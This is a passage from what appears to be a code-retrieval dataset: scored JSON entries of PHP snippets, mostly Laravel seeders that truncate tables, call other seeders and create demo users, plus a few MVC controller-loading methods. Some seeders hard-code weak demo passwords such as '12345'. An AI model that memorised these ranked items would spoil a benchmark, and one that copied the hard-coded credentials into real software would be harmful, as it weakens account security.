'year_release' => 2006],\n ];\n\n foreach ( $albums as $album ) {\n DB::table('albums')->insert($album);\n }\n }", "title": "" }, { "docid": "938b026d9c7ef3a4f0c4289e59c11e88", "score": "0.66423637", "text": "public function run()\n {\n Model::unguard();\n\n DB::table('users')->delete();\n DB::table('projects')->delete();\n DB::table('grades')->delete();\n\n $this->call(UserTableSeeder::class);\n\n factory(User::class, 5)->create();\n factory(Project::class, 10)->create();\n factory(Grade::class, 20)->create();\n\n Model::reguard();\n }", "title": "" }, { "docid": "23649baf129485457643ee98bd31a9f1", "score": "0.6642244", "text": "public function run()\n {\n $tables = ['users', 'business_config'];\n\n $this->truncateTables($tables);\n $this->call(UserSeeder::class);\n $this->call(BusinessConfigSeeder::class);\n // \\App\\Models\\User::factory(10)->create();\n }", "title": "" }, { "docid": "7a118c3cf4531424f74877eed3a6c51b", "score": "0.6641114", "text": "public function run()\n {\n Eloquent::unguard();\n\n // $this->call(UserTableSeeder::class);\n // $this->call(PermissionTableSeeder::class);\n // $this->call('DeportesSeeder');\n // $this->call('NacionalidadesSeeder');\n //$this->call('ComunidadesSeeder');\n //$this->call('DietasSeeder');\n // $this->call('DiteticasSeeder');\n //$this->call('EstudiosSeeder');\n //$this->call('LaboralesSeeder');\n //$this->call('PoblacionesSeeder');\n //$this->call('SexosSeeder');\n //$this->call('dantropometricosSeeder');\n $this->call('SujetosSeeder');\n }", "title": "" }, { "docid": "8abe52ffb3ddef53086570a78976b82d", "score": "0.66381425", "text": "public function run()\n {\n $this->truncateTables([\n 'users', 'permissions', 'permission_role', 'roles', 'role_user', 'agentes',\n 'costo_transporte', 'producto', 'produccion', 'costos', 'inventario'\n ]);\n\n $this->call(RolesTableSeeder::class);\n $this->call(PermissionsTableSeeder::class);\n $this->call(AgentesTableSeeder::class);\n $this->call(UsersTableSeeder::class);\n $this->call(CostosTransporteTableSeeder::class);\n $this->call(ProductoTableSeeder::class);\n $this->call(InventariosSeeder::class);\n }", "title": "" }, { "docid": "62b31b1e734b303ae53c50862d6f35bb", "score": "0.6636086", "text": "public function run()\n {\n\t\t//Do the production seeding\n\t\t$this->call(RolesAndPermissionsSeeder::class);\n $this->call(UserSeeder::class);\t\t\n\t\t$this->call(StatusSeeder::class);\n\t\t$this->call(RatingSeeder::class);\n\t\t$this->call(LanguageSeeder::class);\n\t\t$this->call(ConfigurationSeeder::class);\n }", "title": "" }, { "docid": "6133aad1a6fda48e329108c9e9b287bf", "score": "0.6635598", "text": "public function run() {\n Model::unguard();\n\n /*$this->call(TipoTableSeeder::class);\n $this->call(CiudadTableSeeder::class);\n $this->call(CargoTableSeeder::class);\n $this->call(ResolucionTableSeeder::class);\n $this->call(SucursalTableSeeder::class);\n $this->call(ZonaTableSeeder::class);\n $this->call(SectorTableSeeder::class);\n $this->call(UserTableSeeder::class);\n $this->call(EstadoTableSeeder::class);*/\n factory(\\App\\User::class, 50)->create();\n Model::reguard();\n }", "title": "" }, { "docid": "edb6c4e5c696e79c6cb87775bdf73c85", "score": "0.66350716", "text": "public function run()\n {\n factory(App\\Models\\User::class, 200)->create();\n $this->call(GenresTableSeeder::class);\n $this->call(BandsTableSeeder::class);\n factory(App\\Models\\Post::class, 1000)->create();\n $this->call(TagsTableSeeder::class);\n $this->call(PostTagTableSeeder::class);\n factory(App\\Models\\Comment::class, 5000)->create();\n $this->call(AdminSeeder::class);\n }", "title": "" }, { "docid": "dbb7060bbc311a18cd207473bbe8e7f1", "score": "0.66334057", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(\\App\\User::class,1)->create([\n 'name' => 'teste',\n 'email' => '[email protected]',\n 'password' => bcrypt('12345')\n ]);\n factory(\\App\\Models\\SecaoTecnica::class,1)->create([\n 'sigla' => 'teste',\n 'descricao' => 'teste descrição'\n ]);\n }", "title": "" }, { "docid": "a3f8c14d8aa0a2964fafe3ceab06d6ac", "score": "0.6623559", "text": "public function run()\n {\n\tEloquent::unguard();\n\n $this->call('administradorTableSeeder');\n\t$this->call('ClienteTableSeeder');\n\t$this->call('UsuarioTableSeeder');\n\t$this->call('PortafolioTableSeeder');\n\t$this->call('ProyectoTableSeeder');\n\t$this->call('ServicioTableSeeder');\n\t$this->call('ReservaTableSeeder');\n\t$this->call('SolicitudSeeder');\n }", "title": "" }, { "docid": "ce9645a02a3f81cec15fa81e9edae5c8", "score": "0.6620519", "text": "protected function refreshTestDatabase()\n {\n if (! RefreshDatabaseState::$migrated) {\n $this->artisan('migrate:fresh');\n $this->seed();\n $this->setupPassportOAuth2();\n\n $this->app[Kernel::class]->setArtisan(null);\n\n RefreshDatabaseState::$migrated = true;\n }\n\n $this->beginDatabaseTransaction();\n }", "title": "" }, { "docid": "25f91658e97ffb9f6f0a4f543792c7ca", "score": "0.6620456", "text": "public function run()\n {\n Eloquent::unguard();\n\n $this->seedDefaultLocation();\n\n $this->seedCategories();\n\n $this->seedMenuOptions();\n\n $this->seedMenuItems();\n\n $this->seedCoupons();\n }", "title": "" }, { "docid": "3edc38439cbb935c66d5ac8e72454b15", "score": "0.6616348", "text": "public function run()\n {\n $this->call(UsersTableSeeder::class);\n $this->call(PermissionsTableSeeder::class);\n $this->call(StaffTypesTableSeeder::class);\n $this->call(ReferenceTypesTableSeeder::class);\n\n $this->call(PermissionsSecondGroupTableSeeder::class);\n $this->call(PurchaseTermsTableSeeder::class);\n\n $this->call(CategoriesTableSeeder::class);\n\n $this->call(SalesTaxesPermissionsSeeder::class);\n\n // Faker.\n //factory(\\App\\Models\\Vendor::class, 2)->create();\n //factory(\\App\\Models\\Employee::class, 2)->create();\n }", "title": "" }, { "docid": "c4d9046e236237ae619fcf950b2969a8", "score": "0.6611208", "text": "public function run()\n\t{\n\t\tEloquent::unguard();\n\n\t\t// $this->call('UserTableSeeder');\n\t\t$this->call('SentryGroupSeeder');\n\t\t$this->call('SentryUserSeeder');\n\t\t$this->call('SentryUserGroupSeeder');\n\t\t$this->call('GuestlistsTableSeeder');\n\t\t$this->call('CitiesTableSeeder');\n\t\t$this->call('SkillsTableSeeder');\n\t\t$this->call('LocationsTableSeeder');\n\t\t$this->call('OpportunitiesTableSeeder');\n\t\t$this->call('ProfilesTableSeeder');\n\t\t$this->call('Community_eventsTableSeeder');\n\t}", "title": "" }, { "docid": "445df09b1d8809fffe60ee2f0cb24f9e", "score": "0.66101587", "text": "public function run()\n {\n if (App::environment() === 'local') //development\n {\n $faker = Faker\\Factory::create();\n for ($i = 0; $i < 5; $i++) {\n DB::table('companies')->insert([\n 'short_name' => $faker->company,\n 'official_name' => 'ТОО '.$faker->company,\n ]);\n }\n $this->call(OfficeSeeder::class);\n }\n\n\n }", "title": "" }, { "docid": "f39366738433d2fa304237e452ffba59", "score": "0.6601983", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n seed_identifier_types();\n\n create_admin_user();\n\n initialize_permissions();\n\n first_user_as_manager();\n\n factory(User::class,50)->create();\n $this->call(LocationsTableSeeder::class);\n }", "title": "" }, { "docid": "b760c05861b836970b6512f530638768", "score": "0.6599796", "text": "public function run()\n {\n factory(User::class, 1)->create();\n User::create([\n 'email' => \"[email protected]\",\n 'name' => \"Korkut Sarıçayır\",\n 'password' => Hash::make(\"12345\")\n ]);\n // $this->call(UserSeeder::class);\n $this->call(CategoriesTableSeeder::class);\n $this->call(QuestionsTableSeeder::class);\n }", "title": "" }, { "docid": "b0393b835dea7af7cb39a2775bbd235c", "score": "0.6599313", "text": "public function run()\n {\n $this->call(UsersTableSeeder::class);\n $this->call(PermissionsTableSeeder::class);\n $this->call(SocialMediaTableSeeder::class);\n $this->call(ProductTableSeeder::class);\n $this->call(FaqTableSeeder::class);\n $this->call(PageTableSeeder::class);\n $this->call(VideoTableSeeder::class);\n $this->call(AddressCategoryTableSeeder::class);\n $this->call(AddressTableSeeder::class);\n $this->call(EmailTableSeeder::class);\n $this->call(TelephoneTableSeeder::class);\n $this->call(BusinessInfoTableSeeder::class);\n\n //Testes\n if(env('APP_ENV') == 'local') {\n $this->call(ClientsTestTableSeeder::class);\n $this->call(SalesTestTableSeeder::class);\n $this->call(PostTestTableSeeder::class);\n $this->call(DepoimentTestTableSeeder::class);\n $this->call(AddressTestTableSeeder::class);\n $this->call(TelephoneTestTableSeeder::class);\n $this->call(ComissionTestTableSeeder::class);\n $this->call(InvoiceTestTableSeeder::class);\n }\n }", "title": "" }, { "docid": "232280f5b66a069fae8a2b568db508e7", "score": "0.65989035", "text": "public function run()\n {\n factory(App\\Models\\User::class, 15)->create();\n factory(App\\Models\\Movie::class, 30)->create();\n factory(App\\Models\\Address::class, 30)->create();\n factory(App\\Models\\Contact::class, 30)->create();\n $this->call(UsersTableSeeder::class);\n }", "title": "" }, { "docid": "d6b874deb919f9f1bbe5a7f4208f3bf1", "score": "0.65986806", "text": "public function run()\n\t{\n\t\tEloquent::unguard();\n\n\t\t// $this->call('UserTableSeeder');\n\t\t$this->call('ColorTableSeeder');\n\t\t$this->call('BrandTableSeeder');\n\t\t$this->call('GenreTableSeeder');\n\t\t$this->call('AttributeTableSeeder');\n\t\t$this->call('SizeTableSeeder');\n\t\t$this->call('UsertypeTableSeeder');\n\t\t$this->call('DepartmentTableSeeder');\n\t\t$this->call('ProvinceTableSeeder');\n\t\t$this->call('DistrictTableSeeder');\n\t\t$this->call('ProductTableSeeder');\n\t\t$this->call('ProductattributeTableSeeder');\n\t\t$this->call('ProductstockTableSeeder');\n\t\t$this->call('UserTableSeeder');\n\t}", "title": "" }, { "docid": "064da3a1fd5b172768671dc5b6f1169d", "score": "0.659838", "text": "public function run()\n {\n\n\n\n Storage::deleteDirectory('eventos');\n\n Storage::makeDirectory('eventos');\n\n $this->call(RoleSeeder::class);\n\n $this->call(UserSeeder::class);\n \n Categoria::factory(4)->create();\n \n $this->call(EventoSeeder::class);\n\n $this->call(AporteSeeder::class);\n\n $this->call(ObjetoSeeder::class);\n\n }", "title": "" }, { "docid": "178ca371f969c5a6c9f79e7068093f67", "score": "0.65981734", "text": "public function run() {\n App\\User::create([\n 'name'=>'Secret User',\n 'email'=>'[email protected]',\n 'password'=>bcrypt('secret')\n ]);\n\n // Add additional seeding below\n }", "title": "" }, { "docid": "22576d435a47e89700c7a06ad724aa74", "score": "0.6597602", "text": "public function run()\n {\n DB::statement('SET FOREIGN_KEY_CHECKS=0');\n\n DB::table('users')->truncate();\n\n $faker = \\Faker\\Factory::create();\n $date = \\Carbon\\Carbon::now();\n\n\n DB::table('users')->insert([\n [\n 'name' => 'Don Joe',\n 'email' => '[email protected]',\n 'password' => bcrypt('12345'),\n 'created_at' => $date,\n 'updated_at' => $date\n ],\n [\n 'name' => 'Abebe',\n 'email' => '[email protected]',\n 'password' => bcrypt('12345'),\n 'created_at' => $date,\n 'updated_at' => $date\n ],\n [\n 'name' => 'Kebede',\n 'email' => '[email protected]',\n 'password' => bcrypt('12345'),\n 'created_at' => $date,\n 'updated_at' => $date\n ],\n\n ]);\n }", "title": "" }, { "docid": "18a6fbd98e59a9215f01575f2f8b37cf", "score": "0.65947986", "text": "public function run()\n\t{\n\t\tModel::unguard();\n\n\t\t$this->call('UsersTableSeeder');\n\t\t$this->call('LeaguesTableSeeder');\n\t\t$this->call('SeasonsTableSeeder');\n\t\t$this->call('TeamsTableSeeder');\n\n\t\tif (env('APP_ENV') == 'development') {\n\t\t\t$this->call('DevSeeder');\n\t\t}\n\n\t}", "title": "" }, { "docid": "f06133192b123dabdf8bc82d649d977b", "score": "0.6594522", "text": "public function run()\n\t{\n\t\tEloquent::unguard();\n\n\t\t$this->call('ModuleTableSeeder');\n\t\t$this->call('ProfileTableSeeder');\n\t\t$this->call('PaymentoptionTableSeeder');\n\t\t$this->call('MedicalinsuranceTableSeeder');\n\t\t$this->call('MedicalinsuranceplanTableSeeder');\n\t\t$this->call('MeasurementunitTableSeeder');\n\t\t$this->call('CategoryTableSeeder');\n\t\t$this->call('ProviderTableSeeder');\n\t\t$this->call('ItemTableSeeder');\n\t\t$this->call('ClientTableSeeder');\n\t\t$this->call('DoctorTableSeeder');\t\t\n\t\t$this->call('UserTableSeeder');\n\t\t$this->call('PermissionTableSeeder');\n\t\t\n\t}", "title": "" }, { "docid": "e4b68debc10ebf9c9ba7ccc13ad96554", "score": "0.6592225", "text": "public function run()\n {\n Schema::disableForeignKeyConstraints();\n Student::truncate();\n Schema::enableForeignKeyConstraints();\n\n // $faker = Faker\\Factory::create();\n\n // for ($i=0; $i < 100; $i++) { \n // $st = new Student([\n // \"first_name\" => $faker->firstName(),\n // \"last_name\" => $faker->lastName(),\n // \"email\" => $faker->unique()->safeEmail()\n // ]);\n // $st->save();\n // }\n\n factory(Student::class, 25)->create();\n }", "title": "" }, { "docid": "1d8fff7ad3fbb9f72b72a95f1eb0162d", "score": "0.65911674", "text": "public function run()\n {\n DB::transaction(function () {\n $this->call(RolesTableSeeder::class);\n $this->call(SettingsTableSeeder::class);\n\n // Only run the seeders registered here when we are in production,\n // otherwise keep it clean or it would somehow intefer with the\n // tests scenario preparation since data is stored in database.\n if (! App::environment('testing')) {\n $this->call(UsersTableSeeder::class);\n }\n });\n }", "title": "" }, { "docid": "d551c1c439a8fe92711ff8e73c21586d", "score": "0.6591141", "text": "public function run()\n {\n DB::table('users')->delete();\n\n factory(App\\User::class)->create(['email' => '[email protected]', 'role_id' => 2]);\n factory(App\\User::class)->create(['email' => '[email protected]']);\n }", "title": "" }, { "docid": "51cd4049630f0aa9b58756272a62d852", "score": "0.65902466", "text": "public function run()\n {\n //disable foreign key check for this connection before running seeders\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n\n DB::table('setting_categories')->truncate();\n DB::table('settings')->truncate();\n DB::table('roles')->truncate();\n DB::table('genders')->truncate();\n DB::table('withdrawal_statuses')->truncate();\n DB::table('countries')->truncate();\n DB::table('cities')->truncate();\n DB::table('states')->truncate();\n DB::table('currencies')->truncate();\n DB::table('users')->truncate();\n DB::table('user_profiles')->truncate();\n DB::table('attachments')->truncate();\n DB::table('languages')->truncate();\n // DB::table('pages')->truncate();\n DB::table('providers')->truncate();\n DB::table('email_templates')->truncate();\n DB::table('ips')->truncate();\n // DB::table('item_user_statuses')->truncate();\n // DB::table('transaction_types')->truncate();\n\n $this->call('SettingCategoryTableSeeder');\n $this->call('WithdrawalStatusesTableSeeder');\n $this->call('RolesTableSeeder');\n //$this->call('GendersTableSeeder');\n $this->call('CountriesTableSeeder');\n $this->call('CurrenciesTableSeeder');\n $this->call('IpsTableSeeder');\n $this->call('ProvidersTableSeeder');\n $this->call('UsersTableSeeder');\n $this->call('EmailTemplatesTableSeeder');\n $this->call('LanguagesTableSeeder');\n // $this->call('ItemUserStatusesTableSeeder');\n //$this->call('TransactionTypesTableSeeder');\n }", "title": "" }, { "docid": "16fb6c05eee064dedc0584934405046d", "score": "0.65891373", "text": "public function run()\n {\n $this->call(__NAMESPACE__ . '\\\\OptionsTableSeeder');\n $this->call(__NAMESPACE__ . '\\\\RolesTableSeeder');\n $this->call(__NAMESPACE__ . '\\\\PermissionsTableSeeder');\n $this->call(__NAMESPACE__ . '\\\\UsersTableSeeder');\n $this->call(__NAMESPACE__ . '\\\\CategoriesTableSeeder');\n }", "title": "" }, { "docid": "3656836be96d5f4b03830e70a7940586", "score": "0.6587", "text": "public function run()\n\t{\n\t\tEloquent::unguard();\n\n\t\t$this->call('UsersTableSeeder');\n\t\t$this->call('SkillsTableSeeder');\n\t\t$this->call('SkillUserTableSeeder');\n\t\t$this->call('CategoriesTableSeeder');\n\t\t$this->call('AgenciesTableSeeder');\n\t\t$this->call('AgencyAdminTableSeeder');\n\t\t$this->call('LocationsTableSeeder');\n\t\t$this->call('ActivitiesTableSeeder');\n\t\t// $this->call('ActivityUserTableSeeder');\n\t\t$this->call('ReviewsTableSeeder');\n\t\t// $this->call('TagsTableSeeder');\n\t\t// $this->call('ActivityTagTableSeeder');\n\t}", "title": "" } ]
6119e89e1cd89afcfa5cdcd3263ffc79
Instantiate a new controller instance.
[ { "docid": "806cf0d7c052e9463f6655ed1a253232", "score": "0.0", "text": "public function __construct(\n ) {\n }", "title": "" } ]
[ { "docid": "f565f431a22e82abe87e5c68eb584e12", "score": "0.7212024", "text": "private function makeController()\n {\n\n new MakeController($this, $this->files);\n }", "title": "" }, { "docid": "18e976b5fe04d773fbcc524bd8e07d39", "score": "0.70665675", "text": "public static function init(): Controller\n {\n return new CompanyController();\n }", "title": "" }, { "docid": "3e36ab8b17f0acf1f70a5f948e8e68f9", "score": "0.7013828", "text": "public function setController()\n {\n if (isset($this->url[0])) {\n if (file_exists(__DIR__.'/../controllers/'.$this->url[0].'Controller.php')) {\n $this->controller = '\\App\\\\Controllers\\\\'.ucfirst($this->url[0]).'Controller';\n }\n unset($this->url[0]);\n }\n return new $this->controller;\n }", "title": "" }, { "docid": "521cf4eb14600a330fed817dc21b0a7f", "score": "0.69990796", "text": "private function instanceController()\n\t\t{\n\t\t\tglobal $error;\n\t\t\tif ( count($this->url) > 3 ) {\n\t\t\t\t$file = 'app/controller/'.$this->controller.'Controller.php';\n\t\t\t} else {\n\t\t\t\t$file = 'app/controller/'.URL_CONTROLLER.'Controller.php';\n\t\t\t}\n\t\t\t\n\t\t\tif ( empty($this->folder) )\n\t\t\t\t{\n\t\t\t\t\t$pathFile = 'App\\Controller\\\\'.$this->controller.'Controller';\n\t\t\t\t\t$class = $pathFile.'\\\\'.$this->controller.'Controller';\n\t\t\t\t\t\n\t\t\t\t}else\n\t\t\t\t{\n\t\t\t\t\t$pathFile = 'App\\Controller\\\\'.$this->folder.'\\\\'.$this->controller.'Controller';\n\t\t\t\t\t$class = $pathFile.'\\\\'.$this->controller.'Controller';\n\t\t\t\t\t$file = 'app/controller/'.$this->folder.'/'.$this->controller.'Controller.php';\n\t\t\t\t}\n\t\t\t$accionController = $this->action;\n\t\t\t\n\t\t\t// ejecucion de un bloque try and catch para poder gestionar el error\n\t\t\tif ( file_exists($file) ) \n\t\t\t{\n\t\t\t\t$object = new $class();\n\t\t\t\t$object->$accionController();\n\t\t\t}else\n\t\t\t{\n\t\t\t\t$error = new ManagerError\\ManagerError('Archivo no encontrado','404','User');\n\t\t\t}\n\n\t\t}", "title": "" }, { "docid": "8e7ef76dcdf92f45620df5e3bb3c0e7b", "score": "0.6991891", "text": "protected function createController()\n {\n $controller = Str::studly(class_basename($this->argument('name')));\n\n $modelName = $this->qualifyClass($this->getNameInput());\n\n $this->call(MakeModuleController::class, array_filter([\n 'name' => \"{$controller}Controller\",\n 'module' => $this->argument('module'),\n '--model' => $this->option('resource') || $this->option('api') ? $modelName : null,\n '--api' => $this->option('api'),\n '--requests' => $this->option('requests') || $this->option('all'),\n ]));\n }", "title": "" }, { "docid": "10fd6cfcfb90d057fcdf8ec6193fa1d4", "score": "0.6932242", "text": "public function loadController() {\n\t\tif (isset($this->Controller)) {\n\t\t\treturn $this->Controller;\n\t\t}\n\n\t\tif (!class_exists('Controller')) {\n\t\t\tApp::import('Controller', 'Controller', false);\n\t\t}\n\t\t$this->Controller = new Controller();\n\t\t$this->Controller->uses = array();\n\n\t\t$this->Controller->constructClasses();\n\t\t$this->Controller->startupProcess();\n\n\t\treturn $this->Controller;\n\t}", "title": "" }, { "docid": "d9326c5cccbc2dd88181065b59b8d16d", "score": "0.6907174", "text": "protected function createController()\n {\n $controller = Str::studly(class_basename($this->argument('name')));\n\n $modelName = $this->qualifyClass($this->getNameInput());\n\n $this->call('package:controller', [\n 'name' => \"{$controller}Controller\",\n '--model' => $this->option('resource') ? $modelName : null,\n '--namespace' => $this->getNamespaceInput(),\n '--dir' => $this->getDirInput(),\n ]);\n }", "title": "" }, { "docid": "7522b4e75e8022f9b4896d6adb036aec", "score": "0.6891809", "text": "protected function createController($controllerName) {\n require_once PATH_CONTROLLERS_DIR.$controllerName.'.php';\n return new $controllerName;\n }", "title": "" }, { "docid": "ccd5cc4e8c9e85da6eb3064d6e02d0c5", "score": "0.6874402", "text": "private function load_controller() {\n\t\tif ( empty( $this->url[0] ) ) {\n\n\t\t\t// Default controller\n\t\t\t$this->controller = new Index_Controller;\n\n\t\t} else {\n\n\t\t\t// Construct the controller name\n\t\t\t$controller = ucfirst( strtolower( $this->url[0] ) ) . '_Controller';\n\n\t\t\t// Check if the requested controller exists\n\t\t\tif ( class_exists( $controller ) ) {\n\n\t\t\t\t$this->controller = new $controller;\n\n\t\t\t} else {\n\n\t\t\t\ttrigger_error( 'Error loading controller.', E_USER_NOTICE );\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "6f4b3e1f2d4642658323f5ca5d89ff15", "score": "0.67703885", "text": "public function createController(){\n\t\t// Check Class\n\t\tif(class_exists($this->controller)){\n\t\t\t$parents = class_parents($this->controller);\n\t\t\t// Check Extend\n\t\t\tif(in_array(\"Controller\", $parents)){\n\t\t\t\tif(method_exists($this->controller, $this->action)){\n\t\t\t\t\treturn new $this->controller($this->action, $this->request);\n\t\t\t\t} else {\n\t\t\t\t\t// Method Does Not Exist\n\t\t\t\t\techo '<h1>Method does not exist</h1>';\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// Base Controller Does Not Exist\n\t\t\t\techo '<h1>Base controller not found</h1>';\n\t\t\t\treturn;\n\t\t\t}\n\t\t} else {\n\t\t\t// Controller Class Does Not Exist\n\t\t\techo '<h1>Controller class does not exist</h1>';\n\t\t\treturn;\n\t\t}\n\t}", "title": "" }, { "docid": "7c22a989693f747de29e4a8acfe67cd7", "score": "0.67099166", "text": "public function createController(){\n if(class_exists($this->controller)){\n $parents = class_parents($this->controller);\n\n // check extends\n if(in_array('Controller', $parents)){\n if(method_exists($this->controller, $this->action)){\n return new $this->controller($this->action, $this->request);\n }else{\n // 404 page not found\n echo \"<center><h1>404</h1><br><h3>Method does not exist</h3></center>\";\n }\n }else{\n // 404 page not found\n echo \"<center><h1>404</h1><br><h3>Base controller does not exist</h3></center>\";\n }\n\n }else{\n // 404 page not found\n echo \"<center><h1>404</h1><br><h3>Class does not exist</h3></center>\";\n }\n }", "title": "" }, { "docid": "5e49e15057f2dc0fc7a292ca0315aed4", "score": "0.67027307", "text": "public static function build(): Controller;", "title": "" }, { "docid": "5289d69f9bdc993d46a5b5a133a834ce", "score": "0.66928625", "text": "public function __construct(){\n \n //Setup sessions\n Session::start();\n \n //Get controller, action & params from user\n $this->splitUrl();\n \n // check for the controller.. Does it exist?\n $controllerFile = './application/controllers/' . (($this->area) ? $this->area . '/' : '') . $this->controller . '.php';\n \n if(file_exists($controllerFile)){\n //if so, load the controller and create a new object\n require($controllerFile);\n $this->controller = new $this->controller();\n \n //Now check for an action\n if(method_exists($this->controller, $this->action)){\n call_user_func_array(array($this->controller, $this->action), $this->params);\n } else {\n //Fallback to the default index action\n //$this->controller->index();\n //die(\"Invalid URL (1)\");\n Redirect::to(404);\n }\n } else {\n //Invalid URL.. Show 404? \n //die(\"Invalid URL (2)\");\n Redirect::to(404);\n }\n \n }", "title": "" }, { "docid": "fff7ef09f4829cc8af5393dca2558e2c", "score": "0.66826886", "text": "function loadControler() {\n $name = ucfirst($this->request->controller) . 'Controller';\n $file = root . DIRECTORY_SEPARATOR . 'controller' . DIRECTORY_SEPARATOR . $name . '.php';\n require $file;\n return new $name($this->request);\n }", "title": "" }, { "docid": "08bea968232eea8d3853a40ab4236c6d", "score": "0.6681185", "text": "public function __construct(){\n\n $url = $this->getUrlParams();\n \n // Checking for controller\n if(isset($url[0]) && file_exists(APPROOT . \"/controllers/\" . ucfirst($url[0]) . \".php\")){\n $this->controller = ucfirst($url[0]);\n unset($url[0]);\n }else{\n return handleResponse(404,\"Controller not found. It may occurs if you haven't passed the controller or the controller does not exist.\");\n }\n\n // Requring the controller\n require_once APPROOT . \"/controllers/\" . $this->controller . \".php\";\n // Initializing the controller\n $this->controller = new $this->controller();\n\n // Checking for method\n if(isset($url[1]) && method_exists($this->controller, $url[1])){\n // If method is passed and exists\n $this->method = $url[1];\n unset($url[1]);\n } else if(isset($url[1])){\n // If method is passed but doesn't exist\n return handleResponse(404, \"Method $url[1] does not exist.\");\n }\n\n // Checking for parameters\n $this->parameters = $url ? array_values($url) : [];\n\n // Call the method inside the controller with the array of parameters\n call_user_func_array([$this->controller, $this->method], $this->parameters);\n\n }", "title": "" }, { "docid": "c6ebab64f6899be399a108fc8801c174", "score": "0.6568953", "text": "private function autoInjectConstructor () {\n\n\t\t$reflectionClass = new \\ReflectionClass($this->controller);\n\t\t$parameters = $reflectionClass->getConstructor()->getParameters();\n\t\t$countParams = $reflectionClass->getConstructor()->getNumberOfParameters();\n\t\t$arguments = $this->getDataArguments('constructor', $parameters, $countParams);\n\n\t\tif ($countParams === 0) {\n\t\t\t$this->controller = new $this->controller;\n\t\t}\n\n\t\tif ($countParams > 0) {\n\t\t\t$class = new \\ReflectionClass($this->controller);\n\t\t\t$this->controller = $class->newInstanceArgs( $arguments);\n\t\t}\n\n\t}", "title": "" }, { "docid": "9224437f2f27e230e9e4591310df8791", "score": "0.6553864", "text": "public function initController()\n\t{\n\t\t// already created\n\t\t// already created\n\t\tif ($this->controller instanceof Controller) {\n\t\t\treturn;\n\t\t}\n\t\t$slug = $this->request->getControllerString();\n//\t\tllog($slug);\n\t\tif (!$slug) {\n\t\t\tthrow new Exception404($slug);\n\t\t}\n\t\tif ($_REQUEST['d']) {\n\t\t\t$this->log(__METHOD__, $slug);\n\t\t}\n\t\t$this->loadController($slug);\n\t\t$this->bodyClasses[] = is_object($this->controller) ? get_class($this->controller) : '';\n\t\tTaylorProfiler::stop(__METHOD__);\n\t}", "title": "" }, { "docid": "14fafcd88b131b2eaa5f30e438b6d974", "score": "0.65480024", "text": "public function createController()\n {\n // Derive the correct namespace\n $name = $this->qualifyClass(\"Http/Controllers/{$this->singular()}Controller\");\n\n // Determine the file path\n $path = $this->getPath($name);\n\n // Ensure this controller doesn't already exist\n if ($this->alreadyExists($path)) {\n $this->error('Controller already exists!');\n return false;\n }\n\n // Ensure the path is reachable\n $this->makeDirectory($path);\n\n // Fetch out stubbed file template\n $stub = $this->files->get($this->stubPath('controller'));\n\n // Replace stubbed placeholders with real values\n $controller = $this->replaceNamespace($stub, $name)->replaceClass($stub, $name);\n\n $replacements = [\n 'DummyFullModelClass' => $this->singular(),\n 'DummyModelClass' => class_basename($this->singular()),\n 'DummyModelVariablePlural' => lcfirst($this->plural()),\n 'DummyModelVariable' => lcfirst($this->singular()),\n ];\n\n $controller = str_replace(array_keys($replacements), array_values($replacements), $controller);\n\n // Write the file to disk\n $this->files->put($path, $controller);\n\n $this->info('Controller created successfully.');\n }", "title": "" }, { "docid": "b69e39d0dbba22f31778a3f49782d751", "score": "0.650964", "text": "public function __construct() {\n if (empty($_GET[\"controller\"])) {\n $_GET[\"controller\"] = \"Index\";\n }\n include_once \"controllers/\". $_GET[\"controller\"] .\".php\";\n $obj = new $_GET[\"controller\"];\n return (empty($_GET[\"method\"]) ? $obj : $obj->$_GET[\"method\"]());\n }", "title": "" }, { "docid": "e88f1c4982abeadc16518a9506523df4", "score": "0.6489958", "text": "public function loadController() {\n $non_camel_case_name = tableize($this->request->controller).'_controller';\n // Get class name\n $name = classify($non_camel_case_name);\n // Get file name to load it at runtime\n $file = APPLICATION_ROOT.'controllers/'.$non_camel_case_name.'.php';\n // Load controller file\n require($file);\n // Load controller $name\n $controller = new $name();\n return $controller;\n }", "title": "" }, { "docid": "5e48ebea1216127ead2d9806b65182f8", "score": "0.6449995", "text": "public static function getController()\n {\n if (is_null(self::$instance))\n self::$instance = new Controller();\n return self::$instance;\n }", "title": "" }, { "docid": "14112aaf6855b202948ff99a111500e5", "score": "0.6426843", "text": "private function createController(Request $request)\n {\n $controller = \"Post\"; // Default controller\n if ($request->existParameter('controller'))\n {\n $controller = $request->getParameter('controller');\n $controller = ucfirst (strtolower($controller)); // First letter in upper case\n }\n\n // Create the controller file name\n $classController = $controller . \"Controller\";\n $fileController = \"controller/\" . $classController . \".php\"; // concatenation for build the name of the controller file\n if (file_exists($fileController)) \n {\n // Instantiation of the controller adapted to the query\n require($fileController);\n $controller = new $classController();\n $controller->setRequest($request);\n return $controller;\n }\n else\n throw new Exception(\"Fichier '$fileController' introuvable\");\n }", "title": "" }, { "docid": "55f605d4165a52b1b46b8eb8c5ef254a", "score": "0.64266706", "text": "public function __invoke(): Controller\\Customer\n {\n // Since we don't have a database, we're going to insert data manually and pretend the database exists.\n $data = new Vo\\Customer('Joe Schmoe', $this->getRentals());\n\n $model = new Model\\Customer($data);\n $view = new View\\Customer($model);\n\n $controller = new Controller\\Customer($model, $view);\n\n return $controller;\n }", "title": "" }, { "docid": "2f8252c499ee07c46b4ca37b039a7869", "score": "0.64099187", "text": "public static function factory($controller)\n {\n $className = \"app\\\\controllers\\\\{$controller}\";\n return class_exists($className) ? new $className() : null;\n }", "title": "" }, { "docid": "d4769cc643f23b8ae5ddf8d17915f6c8", "score": "0.63936126", "text": "function factory($type, $router = null) {\n\t\t\n\t\t$type = strtolower($type);\n\t\t\n\t\tControllerFactory::import($type);\n\t\t\n\t\t$class_name = Inflector::camelize(basename($type)).'Controller';\n\t\t\n\t\tif (!class_exists($class_name)) {\n\t\t\ttrigger_error(\"Controller file for '$type' exists, but doesn't contain controller class '$class_name'\", E_USER_ERROR);\t\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t$controller = new $class_name;\n\t\t\n\t\tif (!is_a($controller, 'Controller')) {\n\t\t\ttrigger_error(\"Class '$class_name' doesn't extend Controller\", E_USER_ERROR);\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t$controller->full_type = $type;\n\t\t$controller->router = $router;\n\t\treturn $controller;\n\t}", "title": "" }, { "docid": 